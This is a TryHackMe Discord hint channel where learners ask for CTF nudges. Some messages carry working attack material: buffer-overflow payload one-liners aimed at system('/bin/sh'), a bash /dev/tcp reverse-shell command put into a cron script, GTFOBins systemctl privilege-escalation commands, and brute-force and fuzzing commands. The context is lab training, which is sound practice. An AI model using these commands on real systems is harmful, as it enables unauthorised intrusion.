#room-hints

1 messages · Page 9 of 1

lucid junco
#

Yes.

odd karma
lucid junco
shrewd beacon
#

May I have some help with C?

#

I am trying to 0x00000000004006bc <+54>: call 0x400550 <execve@plt> call this function by overwriting the RIP register.

Here is the exploit I'm trying to develop: run < <(python -c 'print("A" * 32 + "BBBB" + "CCCC" + "\xbc\x06\x40\x00\x00\x00\x00\x00")')

When I run this, I get: $rip : 0x4006bcc2 and the RIp register gets filled with this, instead of 0x00000000004006bc

Any tips on what I'm doing wrong?

run < <(python -c 'print("A" * 32 + "BBBB" + "CCCC" + "\xbc\x06\x40")') this payload results in: $rip : 0x7f004006bcc2

I'm trying different thing. I'm not so great at C/low level CPU/MEM stuff

run < <(python -c 'print("A" * 32 + "BBBB" + "CCCC" + "\xbc\x06\x40\x00\x00\x00\x00")') If I send 4 more bytes, I get rip : 0x4006bcc2

I can't figure where this extra c2 is coming from at the end. Where is this byte coming from?

lucid junco
shrewd beacon
#

I calculated the correct exploit the first time around. I tried the exploit in python, and it handles null terminators differently somehow. I tried it in ruby and the same exploit worked. 40 bytes to reach the stack pointer and then inject the vuln function memory address

#

Sigh.

lucid junco
#

That's great and all, but which room is it?

shrewd beacon
#
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@

$  python -c 'print("A" * 40 + "\x86\x06\x40\x00\x00\x00\x00\x00")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@```
#

🤷‍♂️

lucid junco
#

You don't know which room on THM this is for? 🤔

lucid junco
shrewd beacon
#

https://tryhackme.com/room/dearqa Now that I've got the exploit, I'm trying to send it to the service on port 5700, with a time delay of 2 seconds so the prompt has time to show up, but the input doesn't seem to be going through. I don't need a hint yet. I should be eventually able to figure this out.

shrewd beacon
#

Finally figured it out. Lots of trial and error! Got it.

ivory meadow
#

No hints for 3 days

normal hearth
#

oh okay

#

so i'll delete my msg ahah

ivory meadow
#

Yeah, thanks

shrewd beacon
#

I find a CALL to gets() function in the reversed source, I see it tries to write to a 20 byte buffer, so I send 28 bytes, 20+8, plus additional 4 to go past some memory locations, so 32 bytes, plus the payload, and I can put arbitrary data like AAAA or BBBB into the EIP register in the CPU but as soon as I try to inject a memory location in hex, it starts showing some random bytes I have no idea where they're coming from.

If you look at where it shows up, that's in the EBP register, BBBB in the register, which is the next instruction pointer. If I can write this with the memory location of the next instruction I want to execute, I can hijack the process and take control of the system. I just can't seem to inject a memory location there. I'm missing something.

If I put 4 more bytes, CCCC before the memory address, CCCC shows up in EIP. So I think we need to write over the EIP register with the memory location. So I send the payload without the CCCC, and I get totally different values in the EIP register

https://i.imgur.com/f0hhech.png

https://i.imgur.com/e38UC2T.png

run < <(python -c 'print("A" * 28 + "BBBB" + "CCCC" + "\xf7\xc4\xc8\x30")') Here is the payload. When I send this, I see CCCC show up in EIP register. Anytime I overflow the buffer, gbd says, memory in the EIP register cannot be accessed.

So we know it's 32 bytes + payload.

So I send

run < <(python -c 'print("A" * 32 + "\xf7\xc4\xc8\x30")')

And I get totally incorrect bytes showing up in the EIP register. I expect to see F7C4C830 in that register.

What am I doing wrong?

#

┌──(kali㉿kali)-[~/tmp]
└─$ ./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7c4c830

So this is the location I need to set my return pointer to.

#

It says the system() function is located at this address. system takes a char argument which is a command to launch, so we can launch it with system("/bin/sh").

But I can't seem to get the memory address of system() info the register. Any tips?

lucid junco
#

Which THM room are you working on?

shrewd beacon
#

I don't want to look at the write-ups. I just need to figure out what I'm doing wrong in general. This happened with another task as well.

When I try to overwrite the EIP/RIP register, if I put AAAA in there, 0x41414141 shows up in EIP/RIP. If I try to put \x77... etc. in there, it shows the totally wrong bytes instead of the memory location I'm tryingn to inject with the payload.

I know some write up said to use pwntools and code a little exploit in python, but I'd like to try to attempt this manually in gdb with a payload.

I need to understand why the wrong byte show up in the register.

That's where I'm stuck.

lucid junco
#

This is the one room I haven't done, I can't be of a help, yet.

shrewd beacon
#

Pwntools just automate things, but I need to trigger this manually using a payload so I can understand more.

This is for Task3

lucid junco
#

Yeah, I can understand that, I don't mind using automation when I can understand the theory behind what it does.

shrewd beacon
#

See, I'm thinking, you can't just make the return pointer point to the system() function offset. That will launch system() sure, but system needs an argument, in this case /bin/sh, so we need to push this into the stack before a CALL to system. I'm not sure how I would do that using a payload.

This does seem like where you have to chain a few different things together to get this to work.

Also, file reports it as a PIE executable, so it's going to randomize function locations. So that's another thing I have to learn to work past.

So maybe the payload needs to be different. We need to inject the argument "/bin/sh" into the stack, as well as overwrite the return pointer.

shrewd beacon
shrewd beacon
ivory kernel
#

room name : Hunt Me I: Payment Collectors
how can i find file share , any hints , searched process , file created and anything to search ?

tropic garden
#

I'm working on the Tech Support room (https://tryhackme.com/room/techsupp0rt1) and stuck on initial access. I already have a user on the || Wordpress site (ran wpscan and did not get a valid password yet) and SSH (but didn't attempt to brute force it yet). || I enumerated the site and it wasn't going anywhere. I've looked at the || test page || mulitple times, but not getting any direction. I was hoping someone can give me a nudge on what I am missing, but don't give me the next step directly.

tropic garden
#

Maracas dance? 😅

lucid junco
#

Samba 😂

tropic garden
green minnowBOT
#

Gave +1 Rep to @lucid junco

timber hatch
#

Im working in Wreath Room. on step 17 when i put in ./nmap-USERNAME -sn 10.x.x.0/24 -oN scan-USERNAME, I get an error message stating: .nmap-USERNAME: line 1 syntax error near unexpected token 'newline' and ./nmap_USERNAME: line 1: '<DOCTYPE HTML.' . Any idea why this is happening?

tropic garden
green minnowBOT
#

Gave +1 Rep to @tropic garden

unreal lynx
#

how do i find the _______.ticket dir in LianYu

tropic garden
unreal lynx
#

i did use the small and big.txt wordlists. with the extension .ticket . still nothing pops up .

tropic garden
unreal lynx
#

yes i already did that.

tropic garden
unreal lynx
unreal lynx
#

nvm found!

frank dirge
#

Need help with New Hire Old Artifacts room, on the another malicious binary question. I am looking at the binaries started from AppData and have excluded the previous 2 binaries. Have uncovered few malicious but none of them seems to the answer. What am I missing?

limber linden
#

Can anyone help me with Vulnversity? Got to the escalation part, using GTFObins with /bin/systemctl (according to the answers, this should be the way). So far i didn't manage to elevate my rights, what did i do wrong?
sudo install -m =xs $(which systemctl) .
sudo: no tty present and no askpass program specified
$ ./systemctl link $TF
/bin/sh: 20: ./systemctl: not found
$ ./systemctl enable --now $TF
/bin/sh: 21: ./systemctl: not found

tropic garden
ripe hedge
green minnowBOT
#

Gave +1 Rep to @tropic garden

tropic garden
#

I'm working on the Oh My Webserver room (https://tryhackme.com/room/ohmyweb) and stuck on the || docker escape step ||. I tried the steps outlined in the Hacktricks page, but nothing seems to work. I'm already the || root || user and was wondering if someone can give me a nudge. Many thanks!

frank grotto
tropic garden
#

No worries. Thanks for trying though.

young gulch
tropic garden
green minnowBOT
#

Gave +1 Rep to @young gulch

restive forge
#

OWASP Top 10 Task 11 first question " Try to reset joseph's password. Keep in mind the method used by the site to validate if you are indeed joseph." through a VM I open the given IP address and once I arrive at the given site where the login to the THM Note Server is theres no "Forgot Password" option. Any assistance in this matter is greatly appreciated

nova dove
#

post/multi/recon/local_exploit_suggester:8000 - Msf::OptionValidateError The following options failed to validate: RHOSTS | Getting this while running the command ; run post/multi/recon/local_exploit_suggester ; in ICE
HELP!

#

Anyone ?

lucid junco
#

LHOST?

nova dove
nova dove
#

I solved it thank u

fickle wasp
#

anyone can help me out in Hydra? none of my commands seem to be working for the room

green sedge
fickle wasp
#

my own vm

green sedge
#

Is your VPN connected?

fickle wasp
#

yes

#

let me double check just to be safe

#

omg i bet its not rofl

#

not connected .... lmao

#

thanks bro

green sedge
#

haha, np

fickle wasp
#

thanks @green sedge

green minnowBOT
#

Gave +1 Rep to @green sedge

gray willow
#

Got some problems with content discovery .Can somebody help me. I can´t find the answer to exercise 3.

gray willow
#

I have tried downloading the file but i cant open it

tired solstice
#

Question on tryhackme windows forensics I cannot find the following path via registry explorer SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

#

I can only find SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\

#

I am also in the correct user path here:

#

not sure what the difference is but I forced regexplorer to open up the .dat file at the same time as the log1 && log2 files and that fixed it. Not sure what the best practice is?

jade talon
#

Does someone know if the room is working? It seems that the shell script is not executed regularly.

jade talon
#

Ah fugg, copy paste failure. Anonymous

tropic garden
#

Is it working now?

jade talon
#

I just forgot to post the name in here. I tinkered yesterday evening several hours withit, but didnt manage to get the shell executed again.

Permissions were set aswell.

tropic garden
#

What have you tried thus far? Or which specific step are you stuck on when trying to get a reverse shell?

jade talon
#

I mounted the FTP Server, so i can edit the clean.sh added a reverse shell command on top. Which did not work out and the log did not get any new entries anymore.

I reset the machine and made the script to send me a ping and tried to capture it with a tcp dump to ensure its running.

After the second reset, i added a timestamp to the output of the script, so i could see new entries in the log.

It looks to me like, the script doesnt get executed. Am i running in a deadend?

#

I made sure everytime, the file had the permissions to get exexuted.

tropic garden
#

What is the exact payload that you used and what does it look like after updating || clean.sh ||?

#

Also, I don't think you can edit a file using ftp as its purpose is file transfer only. With that said and taking into account the file permissions, what can you do to overwrite the || clean.sh || to include your payload?

jade talon
#

I was using bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 with my ip. Nc listened on that port aswell. Firewall was offline. Running the script on my pc local resulted in a working shell.

#

You are right, thats why i mounted it with curlftpfs

#

This way i can edit the permissions

tropic garden
#

You don't need to edit the permissions as it can still be executed.

#

What are the file permissions in || clean.sh ||?

jade talon
#

rwxr-xr-r

tropic garden
jade talon
#

Running dir shows you the file permissions aswell

tropic garden
#

Either will do, what was the permissions?

honest sable
#

hi

gray willow
#

Hello

honest sable
#

im new to cyber cycurity and ethical hacking

#

someonecan helped me to cuntinue Try Hack me Agent Sudo CTF room

young gulch
unborn moon
#

Hey @tropic garden , can I DM you?

tropic garden
humble basin
#

Who is TryHackMe's HTTPS certificate issued by?
Answer format: **

#

pleaseeee

#

help me

tropic garden
ivory meadow
#

Follow these and you will see certificate informations (:

molten jasper
#

need some hint please - "Walking An Application" Task 3, the 1st Question "What is the flag from the HTML comment?". I inspected every html page. Some have the comment mentioned, some do not. But nowhere have I found a flag. The other questions I found without a problem.

#

the Hint says "Make sure you go to the link mentioned in the comment." But what comment?

tropic garden
# molten jasper

There is a directory here that you need to browse into if you look at the comment carefully

molten jasper
#

yes, but that is the directory listing flag what you mean, isn`t it?

tropic garden
molten jasper
#

OK - I'm completely on the ball. Just to be sure - by comment do you mean the text in Task 3?

lucid junco
#

No, where would you find HTML?

molten jasper
#

the source code

lucid junco
#

so have a look in there.

#

You're not looking for a comment, you're looking for a link.

molten jasper
#

OK - let me check. I was looking for a commend in the source code

#

but the question is "What is the flag from the HTML comment?"

lucid junco
#

You follow the link. 🙂

molten jasper
#

OK - I got it. Man - I totaly oversaw that link.

#

Thanks

lethal haven
#

Help? Im using a Kali VM for THM and enjoying it, but, after downloading seclists, I'm finding the THM attack boxes run them a million times faster than my VM - 2 requests per second. Any help would be awesome

lucid junco
lethal haven
lucid junco
lethal haven
green minnowBOT
#

Gave +1 Rep to @lucid junco

lucid junco
#

Vm could be under resourced, or over resourced.

lethal haven
lucid junco
#

4mb of RAM?

lethal haven
lucid junco
lethal haven
# lucid junco Why so low?

Just going by what the guide said when building the VM. Its seemed to run well so far but THB I've not used it for much hard work yet. So up the RAM and see how that goes?

lucid junco
#

How much RAM does your host have?

#

Kali should have a minimum of 2/4 GB of RAM.

tropic garden
lethal haven
lucid junco
lethal haven
lethal haven
#

New to Discord sso sorry if I'm posting in the wrong places, but thanks to scrubz for the help. Chuffed 👍

lucid junco
molten jasper
tropic garden
#

It does require uppercase letters

molten jasper
#

so I have the wrong IP at http://MACHINE_IP ?

tropic garden
#

If you used git clone, I think it will be required.

tropic garden
molten jasper
green minnowBOT
#

Gave +1 Rep to @tropic garden

molten jasper
#

Did I understand correctly that MACHINE_IP is the IP address of the web server?

tropic garden
lucid junco
#

If its populated with 10.10.xxx.xxz

Otherwise if it says Machine_ip no

molten jasper
lucid junco
#

That ip is your attackbox.

molten jasper
#

OK - then I think I have another basic question. What is the difference between starting AttckBox or Start Machine?

#

Oh - I think, I got it ...

lucid junco
#

Attackbox is your attacking.

Start machine with the green button is the target.

molten jasper
#

OK - so that are 2 differnt machines?

#

I see - now I got an IP adress in the ffuf command where I had MACHINE_IP

green minnowBOT
#

Gave +1 Rep to @lucid junco

severe elk
#

are there any hints for the room "The Server From Hell" on how to read root.txt? i tried almost everything i could search up but nothing makes sense to me anymore

severe elk
#

never mind I was finally CAPABLE to do it. 🤦

craggy flume
#

Heyall! I have a little question with Network Services room, Task 4 Exploiting SMB.
I have been granted access, but I cant seem to read or open any of the files.
Am I missing something? What command should I use?

lucid junco
craggy flume
lucid junco
craggy flume
green minnowBOT
#

Gave +1 Rep to @lucid junco

lucid junco
worldly moss
#

Any help with mother's secret room in security engineer path ?

#

I mean an explanation for the whole room

#

🤔

lucid junco
#

What are you interested to know?

#

Exactly...

worldly moss
#

The whole concept of the room. Does this room add useful knowledge to me or it is just a fictional scenario to highlight the importance of SAST and DAST ?
The main point is: is this room worth ?

lucid junco
#

Yes, the room is worth it

exotic pollen
#

anyone do Valley? I need a hint and I don't want to spoil anything by opening up the writeups.

I crawled the website with gobuster and found the note.txt that says "stop leaving notes on the website" but after looking around, that's the only note I could find.

#

I feel like something is hiding in plain sight and i'm overthinking it

tropic garden
#

I won't be able get on my VM until maybe in 3 or 4 hours.

tropic garden
worldly moss
tropic garden
unreal lynx
#

Need hint for the room Chocolate factory. I have the key , cracked the password. . but I don't know how can I bypass the login page. Tried both xss and sqli . .what am I missing?

unreal lynx
tropic garden
#

I'm looking at my notes and I'm still having to reconstruct or figure out the sequence of what I did. 😅

#

Can you share what key do you have?

lucid junco
#

Is this for Charlie ?

tropic garden
#

Aaahh... I get it now. The key file I got from the || key_rev_key || binary is just one of the answers. I can't remember what it was used for. 🤣

tropic garden
unreal lynx
tropic garden
unreal lynx
green minnowBOT
#

Gave +1 Rep to @tropic garden

tropic garden
#

It happens.

exotic pollen
green minnowBOT
#

Gave +1 Rep to @tropic garden

worldly moss
#

In easyCTF room. What is the syntax for the third question? I did the nmap scan and i found a lot of CVE's which one should i choose?

worldly moss
rose umbra
tropic garden
#

I've already used cutter, but I'm still having difficulties understanding the commands and connecting the dots. Any resource you can recommend to read on?

worldly moss
rose umbra
#

yup

worldly moss
# rose umbra yup

I found it
Now the next problem is that the exploit python code could not find the module "termcolor" , any hints?

rose umbra
worldly moss
ivory meadow
#

then pip install termcolor might work

tropic garden
young gulch
#

pip2 will work

worldly moss
worldly moss
#

I tried to make chatgpt to convert the code from python 3 to python 2 without a useful result

tropic garden
#

Hey guys, I'm working on All in One (https://tryhackme.com/room/allinonemj) and stuck in the step where I saw a hidden page || hackathon ||. It says "I hate the smell of vinegar" or something along those lines and saw two words/phrases that are comments of the said web page. Any nudge on what to do next?

rose umbra
#

this will work for sure i used this command to get the script working

chrome helm
#

Hello, friends, Can you give a little hint on ||how to interact with docker|| to get 4 flag. (box - dogcat)
||I couldn't find the binary "/bin/sh: 17: docker: not found"
They advise me to find "cron" tasks, but I didn't find anything with a cron.
I checked pspy64, I didn't see anything.
You cannot mount disks.||
What else can I see or read?

ripe hedge
#

Let me check my notes

#

Should be a scheduled task lying around

#

I assume you're in the container?

ripe hedge
chrome helm
#

I checked through the "pivoting" there is something interesting, but there is just the same site with cats and dogs

ripe hedge
#

Think about what Cron jobs are most used for

worldly moss
# rose umbra try this command `2to3 46635.py -w`

It didn't work on my virtual machine then i tried to use the attack box and tried to install 2to3 but there wasn't enough space (lol) then i used an api from the python website to convert from python 2 to 3 and finally it worked, Alhamdullelah

chrome helm
# ripe hedge Think about what Cron jobs are most used for

I'm in the right direction,|| I think I found a script that runs docker, I add code to the script for the reverse shell.
Or did I still not understand anything, and I need to look for a way to get out of the container in another way?
a cron task for a container backup?||

chrome helm
#

Now it remains to understand ||how to make the script run from root||, it does not automatically start😅

tropic garden
#

Doing Vulnnet Internal (https://tryhackme.com/room/vulnnetinternal) and stuck on the last flag. I already have a user || sys-internal ||, but I'm not sure what service to exploit next. I already got useful info or flags from the following services: || nfs, smb, redis and rsync || I also tried to re-use the passwords that I got from the other services, gain RCE via || redis || and brute force the user login, but didn't get any helpful result. If anyone who has completed the room can give me a nudge? Thanks.

young gulch
#

The hint is in the room’s name.

tropic garden
tropic garden
green minnowBOT
#

Gave +1 Rep to @young gulch

tropic garden
young gulch
tropic garden
green minnowBOT
#

Gave +1 Rep to @young gulch

bright barn
#

hey help me in rootme

#

unable to upload

#

displaying connection was reset

#

tried all valid php extensions

tropic garden
bright barn
#

The connection was reset

The connection to the server was reset while the page was loading.

The site could be temporarily unavailable or too busy. Try again in a few moments.
If you are unable to load any pages, check your computer’s network connection.
If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the web.
tropic garden
bright barn
#

yes

#

with .php .phtml .php3 .php5 etc

tropic garden
#

And the error is the same for all? Have you tried to restart the target VM?

bright barn
#

yes restarted but still same error

#

idk why

tropic garden
#

I'm not in front of my machine so it will have to wait before I can check on my end.

young gulch
#

Can you reach the IP?

bright barn
bright barn
#

still unable to upload

bright barn
#

In startup also i am unable to upload via ftp

#

displaying 100% but after that nothing happens

#

on website the files have 0 size

tropic garden
bright barn
#

php reverse shell from pentestmonkey

lucid junco
#

Which room are you doing?

bright barn
#

startup

lucid junco
#

Are you definitely adding a file with information?

bright barn
#

yes

#

||to gain shell access||

#

||only option||

#

according to me

lucid junco
#

I'm just double checking the file you're uploading isn't empty.

bright barn
lucid junco
#

Did you change it at all?

bright barn
#

no only thing that i've changed is ip address

rose umbra
bright barn
#

ok let me try

bright barn
#

its working now

tropic garden
rose umbra
opal badger
#

I want to solve lab Theseus and I found this TGUE?O·S·K·MTUEGI·SYENFE·TOI···SRO·T·SF·OYT···O·T·KUMH·I·AE·NMK·· this ctf give me no hint to solve this can any one help me to provide a hint

tropic garden
ripe hedge
#

can't remember how I even found it though, but you're in for a ride

bright barn
worldly moss
#

Lazyadmin room
Any hint on how to get initial access ? I did an nmap scan and I'm doing gobuster. I found the content directory and then nothing useful.

full escarp
#

hi guys.. where can i go to ask a question about the regular expressions module? i have an answer that works, but not getting accepted

#

and i am plumb stuck on how else to solve it

green sedge
worldly moss
worldly moss
green sedge
#

A faster way to what? Find subdirectories? There are other tools out there for that but I am not sure which is the fastest. Fuff is pretty good though

tropic garden
brave basalt
#

Can someone help sniff-test https://tryhackme.com/room/shaker
I can't get the revshell to callback (and the designer even confirmed 'that should work'...?) 🤦‍♂️

ripe hedge
#

There is an attempt at mitigation though

brave basalt
ripe hedge
ripe hedge
short silo
# bright barn next day it worked just fine

you already fixed, it some times there is issue with the ftp, when i try from my kali machine, even changing mode was not helping and with attack box i was able to do it instantly

worldly moss
#

Any help with the overpass room ?

tropic garden
worldly moss
# tropic garden On which specific area are you stuck at the moment?

I did the nmap port (80 and 22 ). Then I did gobuster i found an img directory that contains 3 files and one of them contains a hidden data which i could not extract because i need a passphrase then i moved into the admin directory i tried some basic sql commands then i surrounded. I now have a group of directories encoded in url and when i navigate to i receives an 440 error

tropic garden
#

Look clearly at the javascript code embedded in the page.

worldly moss
tropic garden
compact leaf
#

im stuck on the root password of operating system security room

#

While logged in as Johnny, use the command su - root to switch to the root account. Display the contents of the file flag.txt in the root directory. What is the content of the file?

#

when I am running su -root its asking for the password i have tried johnny's password but its not working

green sedge
#

The tasks guides you through it step by step, how to get the password and how to switch to the root user, I would suggest rereading the task and questions carefully

#

Are you copying and pasting it correctly? Without any extra spaces at the start or finish? Also try not to post answers to questions here without at least putting spoiler tags around it like this "||" on either side of the spoiler

compact leaf
green sedge
#

¯_(ツ)_/¯

#

Probably you were tying it wrong without realizing it

rotund pine
#

in linux it worked perfectly

lucid junco
#

No, you're missing 5 characters.

rotund pine
#

bruh i got it.

#

I thought THM@% had to appear in the command and not in the list. my bad

clever seal
#

After reading a writeup I have found the file on Task 4 of https://tryhackme.com/room/rrootme. My question is why is it it weird that this file has SUID permission and how could I have known that out of 52 files this is the one I was supposed to be looking for?

heavy crest
clever seal
heavy crest
clever seal
green minnowBOT
#

Gave +1 Rep to @heavy crest

paper mesa
stiff spindle
#

What suspicious tool is used by the attacker to extract a juicy file from the server?

clever seal
chrome helm
#

Hi, I'm playing with the "Mustacchio" machine here and I can't ||figure out how to use the XSS technique, do I still need to authenticate on the administrator's page?
If so, what is the method of password selection, brute force or data collection from the site.
I used "cewl", but not a single word was suitable for the password||. Where can there be a hint to get into this panel?

tropic garden
#

I don't have my notes with me, but you will have to || brute force some code to get the password ||.

white salmon
#

Can anyone help me with the Kenobi room? Task 3

obsidian maple
#

So did anyone else had trouble with AoC - Hydra is coming to town? I did the task in my VM and it just cracked three random digits, 000, 001,002 etc.. Decided to try with the attack box and all of sudden I cracked the correct password.

white salmon
#

Hi I'm on task 2 of Steel Mountain, the last question, and I'm having trouble running msfconsole. Anyone willing to help?

tropic garden
tropic garden
white salmon
#

switched from attackbox to VM

#

For some reason after turning off "ufw" i got a meterpreter session. Any ideas as to why?

tropic garden
white salmon
#

The setting of ufw?

tropic garden
#

Anyway, its resolved now, but do take note of it in case you encounter similar issues in the future.

white salmon
#

I'm further along in the room and haveing troouble getting a reverse shell on the machine. The response from the machine when trying to start the process says "The file or directory is corrupted and unreadable." This is in the third tsask of Steel Mountain.

#

Please help

#

last question of third task of Steel Mountain

tropic garden
#

Or I can refer to my notes. What is the exact question again?

#

I thought you received the reverse shell previously?

white salmon
tropic garden
#

Have you already placed or uploaded your payload (assuming you followed the instruction in the room) in the said directory? Can you do a dir?

white salmon
tropic garden
white salmon
#

Used the msfvenom command from the room to get the Advanced.exe

#

Does that help you help me?

tropic garden
white salmon
#

Yes

tropic garden
#

In the screenshot, you ran it in the IObit folder

white salmon
#

Yes correct

#

Do i need to change the permissions?

tropic garden
#

Can you run it inside the Advanced SystemCare folder?

tropic garden
white salmon
tropic garden
white salmon
#

didn't try stopping, only starting. No error message with starting, but no nc response as well.

tropic garden
#

You need to stop the service first before starting it again to trigger your payload

white salmon
#

I'll try it

#

I've been in this room for nearly 5 hours

#

its just this last flag and I'm' done. I'm exhausted and want to get Day for of Advent done as well. Argh kicked out of the meterpreter session. back to the grind

white salmon
green minnowBOT
#

Gave +1 Rep to @tropic garden

tropic garden
tropic garden
#

Nah. Just trying to help out when I can

white salmon
# tropic garden Nah. Just trying to help out when I can

I was following this walkthrough https://www.youtube.com/watch?v=4JYP5xQ9FsY&t=911s and got all the way up to the 15:09 mark and could never get nc to listen

Thanks for watching!
Cyber Otter official website: https://cyberotter.com/

To learn more about Cybersecurity & how to get into the field, please feel free to join the Cyber Otter discord server! https://discord.gg/K8uM7UeaAs

TikTok: https://www.tiktok.com/@chrisjr404
Twitter: https://twitter.com/CyberOtterSec
Linkedin: https://www.linkedin.co...

▶ Play video
tropic garden
#

The Service AdvancedSystemCareService9 is currently running thus, for it to trigger your payload, it has to be stopped. Now leveraging on the 'unquoted service path vulnerability' we will make the service run our Advanced.exe instead of the legitimate AdvancedSystemCareService9 as the OS is not looking for an absolute path to run or trigger the service from. After placing our payload, Advanced.exe, in the IObit folder, we will run it again to have the OS run Advanced.exe.

white salmon
green minnowBOT
#

Gave +1 Rep to @tropic garden

white salmon
#

I will let you know the results

noble ridge
#

Hi guys I need some help on BruteIt room were I have ran hydra to get the password for admin running against rockyou.txt and non of the passwords work to get into the admin webpage

random bloom
noble ridge
#

Yes I have tried rockyou.txt & unix_passwords.txt

#

I'm going to try fasttracktxt

tropic garden
noble ridge
green minnowBOT
#

Gave +1 Rep to @tropic garden

wild trail
#

hi could someone help me with the days of advent day 3 , I can't seem to get the username and password

wild trail
#

yeah 🙂

heavy crest
#

What are you having trouble on?

wild trail
#

sorry day 4

#

I have followed the practical challenge and it shows on the end result after using wfuzz that I should have results like 'Redacted' and process 60372 items whereas on mine my process requests is 9361 and there is no output showing a username and password

heavy crest
#

Ah with wfuzz try adding -o raw to the end

wild trail
#

with the last command?

heavy crest
#

wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u http://10.10.230.124/login.php -d "username=FUZZ&Password=FUZ2Z" -o raw

wild trail
#

nice one thats sorted it 🙂

#

thank you

heavy crest
#

Nice one! borat

wild trail
#

Hi again - I am on day 5 and I got access to the backup tool and the readme.file and then my VM disconnected and now it says no such file exists in tools\backup

white salmon
#

Anyone else have trouble getting a meterpreter going in Steel Mountain?

#

"Keep getting an exploit was complete but no session was created. " error

edit: turned off my firewall and was able to get a meterpreter session

thick crater
#

Did anyone help? I’m having trouble with this same question and from the guidance I’ve received, my coordinates from exiftool are correct the street names I keep trying are not

brave basalt
kind prawnBOT
cold glacier
green minnowBOT
#

Gave +1 Rep to @heavy crest

indigo flame
prime pike
#

can someone tell me how could i decode a base 64 encode mail in the format of email2.txt

lucid junco
#

Cybercheif?

prime pike
wild trail
#

hey, could someone help me with day 7 - "What status code is generated by the HTTP requests to the least accessed domain? " . I have done all the others but cannot figure this one

wild trail
#

yes 🙂

prime pike
wild trail
#

oh my bd i didn't see that room

prime pike
#

and maybe u could verify u use /verify

prime pike
worldly moss
#

File inclusion room
Eight task (challenge)
Where to find the flag after accessing as an admin ?

worldly moss
rose umbra
# worldly moss 2

can you tell me what you have done so far? will tell you accordingly

worldly moss
rose umbra
#

u are searching in the wrong dir

#

:0

#

try to use the dir that you used in the challenge 1

worldly moss
tropic garden
young gulch
analog warren
#

can I get help for sq, q4?

tropic garden
worldly moss
#

@rose umbra
What about flag3 any hint ?

rose umbra
#

method used will be POST

worldly moss
#

I love you

worldly moss
#

Any small hint about Valley room ?

alpine kestrel
worldly moss
worldly moss
#

Should i do a gobuster scan for the founded directories ? Or should i download the images and check for any encoded information?

alpine kestrel
#

yeah recommend more enumeration

#

including into directories that you have found

low hearth
#

hi

#

can you hint me more

#

Use some Steganography Tool.... The passcode is: CCBEJSJWRQ Use cryptography 26*26

#

i have a file jpg

#

but i can decode it

#

can you help me, please

alpine kestrel
#

for which tryhackme room is this???

low hearth
#

hmm no

#

it is ctf in another

alpine kestrel
#

sorry we can't help with none tryhackme ctfs... especially still ongoing ones

low hearth
#

Flag format: CyberClass{text}

low hearth
spiral crow
spiral crow
#

I have a problem with room network services task 7 last question its a flag so i need a hint not a googled anwser. I get to admin account using hydra but most of files owner is root, i try hydra again but i'm afraid root not using ssh and here i'm, any ideas maybe i shoud start searching method to priv escalation without cracking password.idk.

sinful comet
#

And Hydra gives me a different pin every time I run it. And none of them work. Any ideas?

low hearth
spiral crow
spiral crow
# low hearth can you give me this link?

You knwow you a are on thm server , you seems dont even have account on this site...And wants help in some Other Ctf it's not okay to me. and its not ok if iget banned beacuse off that.

#

try LSB, give ansr if thats it... and not do smthng like thath in feature...

worldly moss
#

I'm still in room Valley. I found the login page what should i do next ? Is there hidden data in /static/4 ? Or should i move into burpsuite?

tropic garden
spiral crow
# worldly moss I'm still in room Valley. I found the login page what should i do next ? Is ther...

i will look at it when i will be ar pc.i feel that rather find anwser on my own then on the forum... but i try one more time network services 2 last quetion flag, have admin privs and ssh but flag is in file owned by root who not use ssh so i can onyl watch ir name and getting nervous because it 4 day. So if someone renember if i need priv escaltion or next better password cracker but even if i have acces to read shadow file it still uses yescrypt if linux is new. And its hard to crack.so i must esc privs without crack pass i think.

young gulch
#

Walking an Application room can help you here.

late moth
#

Good evening

#

can somebody give me a nudge for the Wonderland room

#

dms tho

tropic garden
late moth
#

got to the /r/a/b/b/i/t

#

stage

#

after a bit of enumeration

#

bit stuck now

tropic garden
late moth
#

no

#

I just got an excerpt from the book

#

💀

tropic garden
#

There should be another page there after following the rabbit where you can find the password.

late moth
#

How do I find it?

#

oh wait

#

nvm

#

should've taken a closer look

#

💀

chrome helm
young gulch
#

Ah found it. Mustacchio

young gulch
chrome helm
tropic garden
#

Have you looked at the site hosted || in a non-standard port ||?

chrome helm
tropic garden
#

I recall the credentials for it weren't particularly hard to obtain.

chrome helm
#

Maybe so, another question|| is should I just brutforcing the password or somehow crack the hash that is in the page code?||

tropic garden
chrome helm
tropic garden
#

Hmm... I'll check my notes again. To my recollection, there was a clue on how to crack it. Have you tried || CyberChef ||?

chrome helm
#

interestingly, we are talking about ||the same hash.
I threw it into CyberChef, it did not react to this hash in any way, and I went to check further.||

worldly moss
white salmon
#

I'm in the simple CTF room and am stuck. I'm at the admin login page and not sure how to move forward. Any hints, help, or advice would be appreciate.

tropic garden
white salmon
#

yes and found one

#

not sure that it is possible yet without access

tropic garden
white salmon
#

the CVE-2019-*****

#

is that what you mean?

white salmon
#

I found the admin login page and the CVE for the site.

tropic garden
late moth
#

Can somebody give me a nudge on Overpass 1?

#

I managed to find the ||/admin/|| page

#

but I can't seem to find anything else

young gulch
violet falcon
late moth
#

I looked through the login file earlier but turns out I missed the vulnerability

#

huh

#

what

#

I reloaded it multiple times

#

and it changed

late moth
#

nvm I accidentally exploited the vuln

#

lmao

languid minnow
#

In bookstore ctf, is LFI in parameter that is in documentation for api or I need to fuzz new parameter?

desert sapphire
#

I can’t wget the alpine file on gaming server I tried with quotes all ips and did everything the walkthroughs did still nothing

#

I ran the python3 -m http.server tooidk

chrome helm
# young gulch Did you find a peculiar webpage?

box-mustacchio
Does this secret page have anything to do with subdomains or virtual hosts?
||I only found one page on a non-standard port, but in its code you said it wasn't a hash.
Maybe I'm using the wrong word list to search for this "peculiar" page on a non-standard port?||
||Everyone says that there should be no problems in finding the code, but for some reason I don't see it point-blank.||

young gulch
chrome helm
chrome helm
#

Once again, in order,
||(1) I have to find a "peculiar" page,
(2) I have to find a hash on it ( it is hidden in the code of this page),
(3) decrypt it,
